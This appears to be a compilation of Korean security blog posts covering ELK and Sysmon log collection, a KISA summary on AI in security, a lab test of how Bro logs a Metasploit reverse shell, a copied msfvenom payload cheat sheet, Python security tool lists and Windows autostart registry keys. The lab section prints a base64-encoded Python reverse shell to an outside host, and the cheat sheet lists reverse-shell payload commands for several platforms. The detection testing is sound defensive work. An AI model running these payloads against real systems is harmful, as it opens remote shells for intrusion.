1. elastic부터 

elk 설치 메뉴얼: https://www.elastic.co/guide/en/elastic-stack-get-started/7.2/get-started-elastic-stack.html#install-elasticsearch

 

Getting started with the Elastic Stack | Getting Started [7.2] | Elastic

If you don’t see data in Kibana, try changing the date range to a larger range. By default, Kibana shows the last 15 minutes. If you see errors, make sure Metricbeat is running, then refresh the page.

www.elastic.co

간편하게 rpm으로 설치함

 

# curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.2.0-x86_64.rpm
# sudo rpm
-i elasticsearch-7.2.0-x86_64.rpm
# sudo service elasticsearch start

 

데몬 시작하기전 elastic config 파일 수정

기본적인것들을 설정해주었다. 단일 서버에 테스트로 설치하는거라 호스트는 하나만 넣었다.

# vim /etc/elasticsearch/elasticsearch.yml

cluster.name: leopit
node.name: leopit

network.host: 10.10.10.10
http.port: 9200
discovery.seed_hosts: ["10.10.10.10"]
cluster.initial_master_nodes: ["leopit"]

정상 작동 확인

# curl http://127.0.0.1:9200

{ "name" : "leopit", "cluster_name" : "leopit", "cluster_uuid" : "XEHE2JYETNCh5A-ifq8bmQ", "version" : { "number" : "7.2.0", "build_flavor" : "default", "build_type" : "rpm", "build_hash" : "508c38a", "build_date" : "2019-06-20T15:54:18.811730Z", "build_snapshot" : false, "lucene_version" : "8.0.0", "minimum_wire_compatibility_version" : "6.8.0", "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" }

 

2. kibana

# curl -L -O https://artifacts.elastic.co/downloads/kibana/kibana-7.2.0-linux-x86_64.tar.gz tar xzvf kibana-7.2.0-linux-x86_64.tar.gz
# cd kibana
-7.2.0-linux-x86_64/
# ./bin/kibana

 

kibana 데몬 실행전 컨피그 파일 설정

# vim kibana-7.2.0-linux-x86_64/config/kibana.yml

server.host: "10.10.10.10"
server.name: "leopit"
elasticsearch.hosts: ["http://10.10.10.10:9200"]

 

kibana는 UID가 root인 상태에서는 실행되지 않는다 일반 계정으로 변경해줘야함.

따라서 kibana 설치시 UID가 root인 상태에서 했다면 소유권 변경을 해줘야 함

 

# chown -R leopit kibana-7.2.0-linux-x86_64/*
# su leopit

# ./bin/kibana

 

소유권 변경후 실행하니 잘 되었다.

 

3. logstash

logstash는 sysmon 연동시엔 사용하지 않을거라 설치만 해두었다.

# curl -L -O https://artifacts.elastic.co/downloads/logstash/logstash-7.2.0.rpm
# sudo rpm
-i logstash-7.2.0.rpm

 

4. sysmon

sysmon 10.2 다운로드

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

 

Sysmon - Windows Sysinternals

Monitors and reports key system activity via the Windows event log.

docs.microsoft.com

설정파일 다운로드

https://github.com/SwiftOnSecurity/sysmon-config

 

SwiftOnSecurity/sysmon-config

Sysmon configuration file template with default high-quality event tracing - SwiftOnSecurity/sysmon-config

github.com

설치

sysmon.exe -accepteula -i sysmonconfig-export.xml

 

5. winlogbeat

설치메뉴얼: https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation.html

 

Step 1: Install Winlogbeat | Winlogbeat Reference [7.2] | Elastic

If script execution is disabled on your system, you need to set the execution policy for the current session to allow the script to run. For example: PowerShell.exe -ExecutionPolicy UnRestricted -File .\install-service-winlogbeat.ps1.

www.elastic.co

다운로드후 C:\ProgramFiles\에 Winlogbeat 이름으로 옮겨준다.

sysmon을 winlogbeat에 싫어야 하므로 winlogbeat 설정을 아래와 같이 추가해준다.

winlogbeat.yml 파일에 아래와 같이 sysmon 로깅 설정이 되어 있어야 한다. 

 

winlogbeat.event_logs:
  - name: Application
    ignore_older: 72h

  - name: System

  - name: Security
    processors:
      - script:
          lang: javascript
          id: security
          file: ${path.home}/module/security/config/winlogbeat-security.js

  - name: Microsoft-Windows-Sysmon/Operational
    processors:
      - script:
          lang: javascript
          id: sysmon
          file: ${path.home}/module/sysmon/config/winlogbeat-sysmon.js

 

설정 완료후 powershell을 관리자 권한으로 실행시켜 아래와 같이 서비스 등록을 해준다.

PS C:\Users\Administrator> cd 'C:\Program Files\Winlogbeat'
PS C:\Program Files\Winlogbeat> .\install-service-winlogbeat.ps1

Security warning
Run only scripts that you trust. While scripts from the internet can be useful,
this script can potentially harm your computer. If you trust this script, use
the Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run C:\Program Files\Winlogbeat\install-service-winlogbeat.ps1?
[D] Do not run  [R] Run once  [S] Suspend  [?] Help (default is "D"): R

Status   Name               DisplayName
------   ----               -----------
Stopped  winlogbeat         winlogbeat

<TIP> PSSecurityException 에러가 발생할 경우 신뢰하지 않는 스크립트 보호 설정 변경하여 해결
> Set-ExecutionPolicy RemoteSigned 

 

winlogbeat 템플릿 elasticsearch, kibana에 적용

PS C:\Utils\winlogbeat-7.2.0-windows-x86\winlogbeat-7.2.0-windows-x86> .\winlogbeat.exe setup -e `
>> -E output.logstash.enabled=false `
>> -E output.elasticsearch.hosts=['10.10.10.10:9200'] `
>> -E setup.kibana.host=10.10.10.10:5601

> Start-Service winlogbeat

 

키바나에 접근해보니 sysmon 로그가 파싱되어 저장된다.

- Discover 

- sysmon log

:: 정보보안에서의 인공지능 도입 분야와 주요 사업자(KISA) 요약 :: 

+ 인공지능 오픈소스

구글 텐서플로 (www.tensorflow.org)
- python, java, c, go, javascript library 지원
- OS: Windows, Linux, MAC, 라즈베리파이

IBM 시스템ML systemml.apache.org
MS Cognitive Toolkit (CNTK) github.com/Microsoft/CNTK
NVIDIA cuDNN, DL4J, Caffe

+ FACT
- 방대한 정보보안 관련 인터넷 지식들을 모두 검색하여 이해하고 패턴화시키는건 힘든 노가다
- 악성코드의 증가율 역시 다양한 변종의 출현과 함께 매번 새로운 기록 갱신중
- 분석해야 할 데이터 량의 급속한 증가는 인공지능 분석 필요성중 하나

- 새로운 취약점과 위협은 나날이 등장하고 있는데, 이에 대해 모두 인지하고 대응하기는 사실상 어려운일.
- 매년 취약점 발표건수는 급증하고 있음 (2016년 대비 2017년은 31% 증가)
- 알려지지 않은 취약점을 이용한 공격일 경우 탐지 어려움

+ AI 대안
인공지능은 학습 기간 동안 지도학습과 비지도학습을 반복하며, 보안 관련 문맥, 문맥과 문맥 사이의 관
계, 연관된 행위 정의, 다양한 룰(Rule) 등을 정의하여 비정형 데이터로부터 정형 데이터 및 연관된 지식의 구조화된 체계를 만듬

IBM의 Watson for Cyber Security에서는 통계적인 정보와 관계성 추출모델(Statistical Information and Relation Extraction - SIRE)을 보안 문맥에 대한 자연어 처리와
인공지능에 대한 학습 모델로 사용

인공지능은 보안 연구자들이 보다 빨리 분석하고 새로운 위협을 식별할 수 있도록 도와줌.

+ 활용사례
1) 이벤트에 대한 데이터 마이닝으로 기존 솔루션에서 감지 하지 못한 위협 식별
93%의 통합보안 관제센터 관리자가 모든 잠재적인 위협을 선별하지 못하고 있으며, 대기업에서 근무 중인 42%의 사이버 보안 전문가들은 '보안 경보의 중요한 숫자'들을 알지 못한다. 
또한 보안 회사의 31%는 보안 경보를 때때로 무시할 수 밖에 없다고 하며, 전체 보안 경보를 관리할 수 없기 때문에 경보의 50%를 무시한다.
첫 번째로 살펴 본 인공지능 기반으로 생성된 위협 인텔리젼스를 활용하여 통합 보안 관제 대상 기업 내 IT 자산과 로그, 
이벤트에 대해 데이터 마이닝으로 보안 솔루션이나 서비스에서 감지하지 못한 위협에 대해 탐지 및 식별하는 방식으로 적용하는 사례가 있다.

2) 오탐을 줄여주기 위한 방향으로 활용
반면에 관제 인력이 미쳐 파악하지 못한 이상 로그나 이벤트, 공격의 징후를 파악 및 오탐을 줄여 주기 위한 방향으로 활용하고자 하는 사례가 있다. 
거의 대부분의 ESM 및 SIEM 솔루션 공급회사에서 매우 활발하게 연구되고 있다. ESM과 SIEM 기능 내에서 보다 향상된 상관 분석을 위해서나, 
위협 판단 행위에 대한, 그리고 통계적인 베이스라인 제시와 다차원 분석 분야에 인공지능 혹은 기계학습에 대한 기술들이 적용되고 있음

+ 도입 효과
인공지능을 통합 보안 관제에 활용해 본 결과, 기존 위협 분석보다 60배 더 빨라졌으며, 분석 속도가 수시간에
서 수분 이내로, 보안 운영의 업무 부담이 25배 절감되었으며, 식별되지 않았던 새로운 위협의 탐지가 10배 증가되었다고 한다
> 대표적인 기업: IBM, LogRhythm, SparkCognition
> IBM Havyn: 기존의 watson은 인간과 대화 간으한 통합보안 관제 지원 서비스. 하빈은 음성을 기본 인터페이스로 하여문자 입력, 클릭과 같은 사용자 입력을 받아 하빈 클라우드에 전달하고 답변을 표시하여 음성으로 읽어줌.

+ 보안 분야별 활용안

1) 네트워크 패킷 분석
전통적인 침입탐지시스템은 탐지하고자 하는 공격에 대한 정보와 시그니처가 있어야 하고, 정보와 시그니처가 없는 공격을 인지하기까지는 상당한 시간과 분석이 필요함.
네트워크 분석 시스템의 인공지능 혹은 기계학습 기반 기술의 도입을 통해 기존 네트워크 활동을 학습시키고, 평상 시 네트워크 활동 사항으로부터 이상 행위를 분석 및 추론
즉, 정상정인 네트워크 패킷과 각종 비정상적인 네트워크 패킷을 수집하고, 이 패킷에 다양한 기계학습 알고리즘을 적용하여 지식을 자동으로 생성

정상/비정상 분류 모델: 베이지안(Bayesian), LDA(Latent Dirichlet Allocation), Holt-Winters 모델 등이 주로 채택됨
이후 실제 사용자 데이터를 분석하며 규칙과 모델을 확인하며 이상 사용자를 탐지 혹은 위험 점수를 조정
> 대표적인 기업: 다크트레이스, 크로니클, 벡트라

2) 악성코드 분석
전통적인 안티바이러스에서도 행위 분석이라든가 위협 정보를 활용한다든가 하는 보완 기술을 적용하고 있지만, 
서명 및 패턴 업데이트에 크게 의존하고 있다는 기존 한계점은 여전히 존재

VirusTotal과 같이 클라우드 기반 멀티 안티 바이러스 엔진을 통해 현재 확보된 알려진 악성코드에 대한 진단으로, 진단이 필요한 코드와 그렇지 않은 코드를 식별해 냄
첫번째 안티바이러스 엔진을 통과한 알려지지 않은 악성코드에 대해 자동화된 안티 리버싱으로 프로그램 코드화한 다음 6개의 악성 로직 혹은 그에 대한 변이를 포함하는지 분석

* 6개의 악성 로직이란?
- 취약점 공격 로직(Exploit)
- 감염 및 전파 로직(Infect)
- 시스템 호출
- 변경 및 가로채는 로직(Hook)
- 동적 프로그램 삽입(Injection)
- 비정상 시스템 자원 접근 로직(Access)
- 정보 유출 로직(Theft)

이러한 분석에도 탐지되지 않는 경우에는 샌드박스 내에서 시스템 혹은 브라우저 행위 기반 분석을 함께 수행
악성코드의 위협 모델을 기반으로 다양한 이상 행위와 IoC(Indicator Of Compromise), 블랙 IP 리스트, C&C IP 리스트와 같은 인텔리젼스 정보를 활용
악성코드에 대한 비정상 여부 판별을 수행
> 대표기업: 사이랜스, Deep Instinct, 아바스트, 마이크로소프트, 세이트시큐리티

3) 사용자 이상행위 분석
사용자의 평소 업무 패턴과 비교하여 사용자의 이상 행위가 악의성이 있는지에 대한 판단은 장기간의 분석과 함께 같은 그룹의 사용자와의 비교 등이 요구되며 
정해진 규칙을 기반으로 하기에는 기준치가 없기 때문에 인공지능을 통한 위험 점수 기반 시스템이 가장 일반적으로 채택됨.
> 사용모델:  베이지안(Bayesian), LDA(Latent Dirichlet Allocation), Holt-Winters
> 대표적 기업: IBM, 스플렁크

4) Fraud Detection
사용자의 평소 마우스 움직임, 클릭, 클릭 시의 압력, 클릭과 클릭 사이의 시간 등의 여러 사용 패턴들을 데이터화하여 사용자의 행위 기반 아이덴티티를 만듬

문서 원본: http://www.kisa.or.kr/public/library/GBCT_View.jsp?mode=view&p_No=126&b_No=126&d_No=103&ST=TC&SV=


reverse shell 통신시 bro에 로그가 어떻게 남는지 확인하기 위해 테스트 한 내용이다.


+ 테스트 환경

- kali linux(attacker pc)

- mac osx mojave(victim pc)



1. Attacker PC 


- metasploit 실행후 reverse shell 파일 생성

msf > use exploit/multi/handler msf exploit(handler) > msfvenom -p cmd/unix/reverse_python LHOST=1.1.1.1 LPORT=8888 > -f raw > shell.py [*] exec: msfvenom -p cmd/unix/reverse_python LHOST=1.1.1.1 LPORT=8888 > -f raw > shell.py No platform was selected, choosing Msf::Module::Platform::Unix from the payload No Arch selected, selecting Arch: cmd from the payload No encoder or badchars specified, outputting raw payload Payload size: 569 bytes


- 방금 생성한 shell.py 유포 (피싱)


- reverse shell 파일 생성시 사용했던 포트 그대로 오픈한다.

  현재 1.1.1.1 Attacker PC의 8888 포트를 오픈한 상태.


msf exploit(handler) > set payload cmd/unix/reverse_python payload => cmd/unix/reverse_python msf exploit(handler) > set LHOST 1.1.1.1 LHOST => 1.1.1.1 msf exploit(handler) > set LPORT 8888 LPORT => 4444 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 1.1.1.1 yes The listen address LPORT 4444 yes The listen port SHELL /bin/bash yes The system shell to use. Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8888 [*] Starting the payload handler...

 

2. Victim PC

이제 Victim에서 리버스쉘 파일을 실행


python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICwgICAgIHN1YnByb2Nlc3MgICAgICAsICAgICBvcyAgICAgIDsgICAgICAgICBob3N0PSIxLjEuMS4xIiAgICAgIDsgICAgICAgICBwb3J0PTg4ODggICAgICA7ICAgICAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgICAgLCAgICAgc29ja2V0LlNPQ0tfU1RSRUFNKSAgICAgIDsgICAgICAgICBzLmNvbm5lY3QoKGhvc3QgICAgICAsICAgICBwb3J0KSkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMCkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMSkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMikgICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp'.decode('base64'))"



Attacker PC에서 확인해보면 아래와 같이 쉘이 떨어졌고 커맨드 실행 결과를 확인할 수 있다.


3. BRO 로그 확인

- conn.log -

local_orig가 True local_resp가 False 이외에 다른 특이한건 없다.
session history는 다른 정상 통신에서도 많이 확인 내용..

이걸로 뭘 탐지한다는건 무리..


|source_type=BRO_connLog|time=2019-01-23 11:18:04|SRCIP=172.26.101.103|SRCPORT=52327|DSTIP=1.1.1.1|DSTPORT=8888|protocol=tcp|service=-|duration=7.359974|orig_bytes=5|resp_bytes=0|conn_state=SF|local_orig=T|local_resp=F|history=ShADaFf|orig_pkts=5|orig_ip_bytes=277|resp_pkts=3|resp_ip_bytes=164|tunnel_parents=(empty)


통신 포트를 웹에서 사용하는 포트 비스무레하게 변경하면 weired log에서 unknown_http , bad_http 로 인지가 가능하긴 하다.


통신 포트를 8888로 변경후 테스트한 결과 weired.log에 아래와 같이 남는다.

1548209891.693055 CdnplJz4oNCdFV623 172.26.101.103 52327 1.1.1.1 8888 bad_HTTP_request - F worker-1-18

1548210260.998129 CjMDhq438mrlFw2SP1 172.26.101.103 52456 1.1.1.1 8888 unescaped_special_URI_char - F worker-1-9

1548210260.998129 CjMDhq438mrlFw2SP1 172.26.101.103 52456 1.1.1.1 8888 unknown_HTTP_method Darwin F worker-1-9




Creating Metasploit Payloads

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

List payloads

msfvenom -l

Binaries

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r 

출처: https://netsec.ws/?p=331

Test..

msf > use exploit/multi/handler msf exploit(handler) > msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=4444 -f raw > shell.py [*] exec: msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=4444 -f raw > shell.py No platform was selected, choosing Msf::Module::Platform::Unix from the payload No Arch selected, selecting Arch: cmd from the payload No encoder or badchars specified, outputting raw payload Payload size: 617 bytes msf exploit(handler) > set payload cmd/unix/reverse_python payload => cmd/unix/reverse_python msf exploit(handler) > set LHOST 13.124.26.147 LHOST => 13.124.26.147 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 13.124.26.147 yes The listen address LPORT 4444 yes The listen port SHELL /bin/bash yes The system shell to use. Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run [-] Handler failed to bind to x.x.x.x:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Starting the payload handler...




1) 웹 어플리케이션 모의해킹 

이름

설명

URL

wapiti

웹 취약점 스캐너

http://wapiti.sourceforge.net/

w3af

웹 취약점 스캐너

http://w3af.org/category/python

V3n0M-Scanner

웹 취약점 스캐너

https://github.com/v3n0m-Scanner/V3n0M-Scanner

xsser

XSS 취약점 스캐너

http://xsser.sourceforge.net/

sqlmap

SQL 인젝션 점검 도구

http://sqlmap.org/

spiderfoot

웹서버 풋프린팅 분석

http://sourceforge.net/projects/spiderfoot/

Parsero

웹사이트 디렉터리 탐색

https://github.com/behindthefirewalls/Parsero

dnsrecon

DNS 정보 목록화 도구

https://github.com/darkoperator/dnsrecon


 

2) 네트워크 분석 

이름

설명

URL

Scapy

패킷 생성 및 조작 도구

http://www.secdev.org/projects/scapy/

dpkt

패킷 생성 및 조작 도구

https://code.google.com/p/dpkt/

pyhids

파이썬 기반의 HIDS

https://bitbucket.org/cedricbonhomme/pyhids/

pypcapPcapy andpylibpcap

패킷 덤프

https://code.google.com/p/pypcap/

http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Pcapy

http://pylibpcap.sourceforge.net/

droopy

간단한 파일 공유

http://stackp.online.fr/?p=28

netgrafio

네트워크 구성도 시각화

https://github.com/nullsecuritynet/netgrafio


 

3) 포렌식 분석도구 

이름

설명

URL

volatility

메모리 포렌식 도구

https://code.google.com/p/volatility/

libforensics

디지털 포렌식 도구

https://code.google.com/p/libforensics/

python-registry

레지스트리 포렌식

http://www.williballenthin.com/registry/


 

4) 악성코드 분석도구 

이름

설명

URL

KicomAV

백신엔진

http://www.kicomav.com/

PyEMU

백신엔진

https://code.google.com/p/pyemu/

Yara

백신엔진

https://code.google.com/p/yara-project/

pyClamAV

백신엔진

http://xael.org/norman/python/pyclamav/index.html

Cuckoo Sandbox

가상화기반 악성코드 분석

http://www.cuckoosandbox.org/

pefile

PE 분석 도구

https://code.google.com/p/pefile/

peframe

PE 분석 도구

https://github.com/guelfoweb/peframe

jsunpack-n

자바스크립트 분석 도구

https://code.google.com/p/jsunpack-n/

thug

웹기반 악성코드 분석

https://buffer.github.io/thug/

apkinspector

안드로이드 악성코드 분석

https://github.com/honeynet/apkinspector/


 

5) 문서형 악성코드 분석

이름

설명

URL

HwpScan2

한글 취약점 스캐너

http://www.nurilab.com/?p=58

PDFDot

PDF 분석 및 시각화 도구

http://www.nurilab.com/?p=170

pdf-parser

PDF 분석 도구

http://blog.didierstevens.com/programs/pdf-tools/

pyPdf

PDF 분석 도구

http://pybrary.net/pyPdf/

VulScan

문서 분석 도구

https://code.google.com/p/vulscan/


 

6) 기타 

이름

설명

URL

Sulley

fuzzing framework

https://github.com/OpenRCE/sulley

Powerfuzzer

fuzzing framework

http://www.powerfuzzer.com/

Pompem

취약점 정보 검색

https://github.com/rfunix/Pompem

 

 

source: http://kyaru.blog.me/220089699384

source: http://blog.naver.com/kyaru/220089699384


This is a table that compare decimal numbers, ArtNet, Hex and ASCII.


// help.malighting.com

자동 시작 Registry 위치

  1. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
    All values in this key are executed.

  2. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\
    All values in this key are executed, and then their autostart reference is deleted.

  3. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
    All values in this key are executed as services.

  4. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\
    All values in this key are executed as services, and then their autostart reference is deleted.

  5. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\
    All values in this key are executed.

  6. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\
    All values in this key are executed, and then their autostart reference is deleted.

  7. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\
    Used only by Setup. Displays a progress dialog box as the keys are run one at a time.

  8. HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\
    Similar to the Run key from HKEY_CURRENT_USER.

  9. HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\
    Similar to the RunOnce key from HKEY_CURRENT_USER.

  10. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
    The "Shell" value is monitored. This value is executed after you log in.

  11. HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\
    All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey.

  12. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\
    All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey.

  13. HKEY_CURRENT_USER\Control Panel\Desktop
    The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates.

  14. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager
    The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts.

  15. HKEY_CLASSES_ROOT\vbsfile\shell\open\command\
    Executed whenever a .VBS file (Visual Basic Script)  is run.

  16. HKEY_CLASSES_ROOT\vbefile\shell\open\command\
    Executed whenever a .VBE file (Encoded Visual Basic Script) is run.

  17. HKEY_CLASSES_ROOT\jsfile\shell\open\command\
    Executed whenever a .JS file (Javascript) is run.

  18. HKEY_CLASSES_ROOT\jsefile\shell\open\command\
    Executed whenever a .JSE file (Encoded Javascript) is run.

  19. HKEY_CLASSES_ROOT\wshfile\shell\open\command\
    Executed whenever a .WSH file (Windows Scripting Host) is run.

  20. HKEY_CLASSES_ROOT\wsffile\shell\open\command\
    Executed whenever a .WSF file (Windows Scripting File) is run.

  21. HKEY_CLASSES_ROOT\exefile\shell\open\command\
    Executed whenever a .EXE file (Executable) is run.

  22. HKEY_CLASSES_ROOT\comfile\shell\open\command\
    Executed whenever a .COM file (Command) is run.

  23. HKEY_CLASSES_ROOT\batfile\shell\open\command\
    Executed whenever a .BAT file (Batch Command) is run.

  24. HKEY_CLASSES_ROOT\scrfile\shell\open\command\
    Executed whenever a .SCR file (Screen Saver) is run.

  25. HKEY_CLASSES_ROOT\piffile\shell\open\command\
    Executed whenever a .PIF file (Portable Interchange Format) is run.

  26. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\
    Services marked to startup automatically are executed before user login.

  27. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_Entries\
    Layered Service Providers, executed before user login.

  28. HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline
    Executed when a 16-bit Windows executable is executed.

  29. HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline
    Executed when a 16-bit DOS application is executed.

  30. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
    Executed when a user logs in.

  31. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
    Executed by explorer.exe as soon as it has loaded.

  32. HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run
    Executed when the user logs in.

  33. HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
    Executed when the user logs in.

  34. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\
    Subvalues are executed when Explorer initialises.

  35. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\
    Subvalues are executed when Explorer initialises.



Folder Autostart Locations

  1. windir\Start Menu\Programs\Startup\

  2. User\Startup\

  3. All Users\Startup\

  4. windir\system\iosubsys\

  5. windir\system\vmm32\

  6. windir\Tasks\


    File Autostart Locations

  1. c:\explorer.exe 

  2. c:\autoexec.bat

  3. c:\config.sys

  4. windir\wininit.ini

  5. windir\winstart.bat

  6. windir\win.ini - [windows] "load"

  7. windir\win.ini - [windows] "run"

  8. windir\system.ini - [boot] "shell"

  9. windir\system.ini - [boot] "scrnsave.exe"

  10. windir\dosstart.bat

  11. windir\system\autoexec.nt

  12. windir\system\config.nt


안랩코어에서 발표한 '개발자도 알아야 할 네트워크 포렌식' 의 사용한 명령어들에 대해서 정리해 드리기로 하였습니다. 시연때 보여드렸던 명령어와 시간이 부족하여 소개해 드리고 싶었지만 하지 못했던 내용도 몇가지 추가하여 요약해 보고자 합니다.

간단히 사용명령어 들에 대해서 나열해 드리고, 추가적인 세부 설명이 필요한건
따로 주제로 빼서 다시 언급해 드리고자 합니다. 대부분의 많은 내용들은
이미 블로그에 포스팅 되어 있으므로 자세한 것은 블로그 내용을 참고해 보시면 됩니다.

일단, 초반에 보여드렸던 안드로이드 폰에서의 패킷덤프 잘 보이지 않았죠?
이것은 다음 링크를 보시면, 안드로이드 관련한 주제로 살펴볼 수 있습니다.
http://www.packetinside.com/search/label/android

TCP Connection Tunnel using ICMP 부분은 패킷 덤프만을 잠깐 보여드렸는데,
ptunnel 이라는 프로그램을 통해서 캡쳐한 것입니다. 이것은 추후 다시 방법을
세부적으로 소개해 드릴 예정입니다.

회사에서 운영중인 '패킷센터' 에 대해서도 더 보여드리고 싶었지만, 이것은
나중에 기회가 되면 더 소개해 드릴 시간이 있겠죠? 보관중인 패킷만 해도
국내에서 최대가 아닐까요? ^^ 이런 데이터를 통해 다양한 리서치를 진행하고 있습니다.

수집된 패킷파일에서 100기가 패킷 파일을 잠깐 언급해 드렸는데, 다음 포스팅을 참고해 보세요.

100 기가 가 넘는 패킷 파일이라고 ?


다양한 도구가 나열되어 있는 페이지에서는,
많은 것을 소개해 드리고 싶었지만 여건상 와이어샤크 정도만 소개해 드렸습니다.
일단 블로그에서 검색해 보셔도 많은 도구가 이미 언급되어 있는데,
몇 가지만 보면 아래와 같습니다.

[1] IPLocation 을 이용한 위치 추적

# ruby1.8 iploc.rb -r test.pcap

IP 주소의 위치정보를 활용하여 멋진 그래프 만들기

[2] Wireshark 기능 일부 소개

GeoIP 를 이용한 위치 정보 지정은 다음 블로그를 참고하면 됩니다.

와이어샤크에서 위치정보 이용하기 - 접속국가를 쉽게 알 수 있다면...

이외 HTTP 를 통한 데이터 오브젝트를 쉽게 추출하기 위한 방법은
메뉴에서 File->Export->Objects->HTTP 를 선택하면 됩니다.

[3] Tshark 기능 소개

블로그에서는 세부적으로 많이 다루지 않은 것인데요, 조만간 따로 언급해 드리겠습니다.
